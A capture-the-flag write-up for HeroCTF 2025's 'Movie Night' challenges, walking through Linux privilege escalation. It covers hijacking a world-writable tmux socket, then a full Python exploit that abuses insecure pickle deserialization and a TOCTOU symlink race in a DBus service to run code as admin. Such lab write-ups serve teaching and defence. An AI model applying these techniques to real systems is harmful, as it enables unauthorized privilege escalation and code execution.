Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
MiscMedium

Movie Night System

CTF writeup for Movie Night System from heroCTF

//HeroCTF 2025: Movie Night #1 & #2 Writeup

Category: System / Privilege Escalation Author: Log_s Difficulty: Very Easy / Hard

>Introduction

The "Movie Night" series consists of two system challenges that require Linux enumeration and privilege escalation. Starting with basic SSH access, we move from exploiting a misconfigured tmux session to a complex Time-of-Check Time-of-Use (TOCTOU) attack on a custom Python DBus service.


>Movie Night #1

Hint: "Something has attached itself to him. We have to get him to the infirmary right away." - Alien (1979)

1. Reconnaissance

We are provided with SSH credentials (user:password) for dyn02.heroctf.fr. After logging in, we perform standard enumeration to identify running processes and potential attack vectors.

The hint "attached" strongly suggests looking for terminal multiplexers like screen or tmux.

user@movie_night:~$ ps aux | grep -E "screen|tmux"

dev 32 0.0 0.0 4548 3276 ? Ss 13:33 0:00 tmux -S /tmp/tmux-1002 new-session -d -s work bash

We identify a tmux session named work running as the user dev. The socket is located at /tmp/tmux-1002.

2. Vulnerability Analysis

For a user to attach to a tmux session, they need read/write permissions on the socket file. We check the permissions of the identified socket:

user@movie_night:~$ ls -la /tmp/tmux-1002

srw-rw-rw- 1 dev dev 0 Nov 29 13:33 /tmp/tmux-1002

The socket is world-writable (rw-rw-rw-). This is a critical misconfiguration, allowing any user on the system to attach to the session and control the dev user's terminal.

3. Exploitation

We attach to the session using the -S flag to specify the socket path:

user@movie_night:~$ tmux -S /tmp/tmux-1002 attach -t work

This immediately drops us into a shell as dev.

4. Flag Retrieval

Now running as dev, we can read the flag:

dev@movie_night:~$ cat /home/dev/flag.txt

Hero{1s_1t_tmux_0r_4l13n?_a20bac4b5aa32e8d9a8ccb75d228ca3e}


>Movie Night #2

Hint: "If it drops below 50, it blows up." - Speed (1994)

1. Initial Access

We connect to the new host dyn08.heroctf.fr. Since the environment is similar, we check if the tmux vulnerability persists. Indeed, the same misconfiguration exists, allowing us to escalate to dev immediately using the same method as before.

2. Reconnaissance

As dev, we explore the home directory and find a procservice_src folder containing the source code for a custom service.

dev@movie_night:~$ ls -R /home/dev/procservice_src

...

procedure-processing-service.py

lib/utils.py

lib/load_pickle.py

...

We also notice a process running as root:

root 24 ... /root/process_monitor

And the service logs indicate it's a DBus service named com.system.ProcedureService.

3. Source Code Analysis

The service procedure-processing-service.py exposes two main methods via DBus:

  1. RegisterProcedure(name, serialized_code):

    • Takes a name and base64-encoded data.
    • Decodes the data and saves it to /var/procedures/<uuid>_<name>.pkl.
    • Sets the file owner to the caller's UID (in our case, dev or user).
  2. ExecuteProcedure(name):

    • Locates the pickle file for the given name.
    • Step A: Unpickles the file using unpickle_file(filepath).
    • Step B: Checks the file owner using os.stat(filepath).st_uid.
    • Step C: Executes the unpickled object using execute_as_user(obj, file_owner_uid).

Vulnerability 1: Insecure Deserialization

The unpickle_file function (in lib/utils.py) executes a helper script load_pickle.py as the user dbus-service via sudo.

//lib/load_pickle.py

obj = pickle.loads(data)

print(obj)

pickle.loads is inherently insecure. By crafting a malicious pickle, we can execute arbitrary code when it is unpickled. Since load_pickle.py runs as dbus-service, we gain Remote Code Execution (RCE) as that user.

Vulnerability 2: Time-of-Check Time-of-Use (TOCTOU)

The ExecuteProcedure method has a critical race condition:

//procedure-processing-service.py

//1. Unpickle (Vulnerable to RCE as dbus-service)

obj_repr, error = unpickle_file(filepath)

//...

//2. Check Ownership

file_stat = os.stat(filepath)

file_owner_uid = file_stat.st_uid

//3. Execute as Owner

result = execute_as_user(obj_repr, file_owner_uid)

The service unpickles the file before checking who owns it. Furthermore, execute_as_user executes the code as the file owner.

If we can change the file (or replace it) between Step 1 and Step 2, we can trick the service. specifically, if we replace our pickle file with a symlink to a file owned by admin (like /home/admin/flag.txt), os.stat will follow the symlink and see admin as the owner. The service will then execute our payload as admin.

4. Exploit Strategy

We need a payload that does two things:

  1. During Unpickling (as dbus-service): Delete the original pickle file and replace it with a symlink to /home/admin/flag.txt.
  2. As the Return Value: Return a Python command that prints the flag. This command will be passed to execute_as_user and run as admin.

The Attack Flow:

  1. Register a malicious pickle.
  2. Call ExecuteProcedure.
  3. unpickle_file triggers. Our payload executes:
    • rm /var/procedures/*_pwn.pkl
    • ln -s /home/admin/flag.txt /var/procedures/*_pwn.pkl
  4. unpickle_file returns the string 'print(open("/home/admin/flag.txt").read())'.
  5. The service calls os.stat. It follows the symlink to /home/admin/flag.txt.
  6. os.stat reports the owner is admin.
  7. The service calls execute_as_user('print(...)', admin_uid).
  8. We get the flag!

5. The Exploit Script

We use Python's __reduce__ method to define the malicious behavior during unpickling. We use eval to execute a complex expression that performs the file swap (using exec) and returns the payload string.

import pickle

import os

import glob

import dbus

import base64

class Exploit(object):

def __reduce__(self): # 1. The code to swap the file (runs as dbus-service) swap_code = "import os, glob; files = glob.glob('/var/procedures/*_pwn.pkl'); os.remove(files[0]); os.symlink('/home/admin/flag.txt', files[0])" # 2. The expression to evaluate # exec() returns None. 'string' is truthy. # "exec(swap) or 'payload'" ensures swap runs, then 'payload' is returned. expr = f"exec(\"{swap_code}\") or 'print(open(\"/home/admin/flag.txt\").read())'" return (eval, (expr,))

//Create and serialize the payload

payload = pickle.dumps(Exploit())

serialized = base64.b64encode(payload).decode()

//Connect to DBus

bus = dbus.SystemBus()

service = bus.get_object('com.system.ProcedureService', '/com/system/ProcedureService')

interface = dbus.Interface(service, 'com.system.ProcedureService')

//Register and Execute

print("Registering...")

interface.RegisterProcedure("pwn", serialized)

print("Executing...")

print(interface.ExecuteProcedure("pwn"))

6. Result

Running the exploit on the server:

dev@movie_night:~$ python3 exploit.py

Registering...

Executing...

Hero{d0ubl3_rc3_ftw_ad57172613c7d5403a671fd7878a659d}

We successfully escalated privileges from user -> dev -> dbus-service -> admin to capture the flag.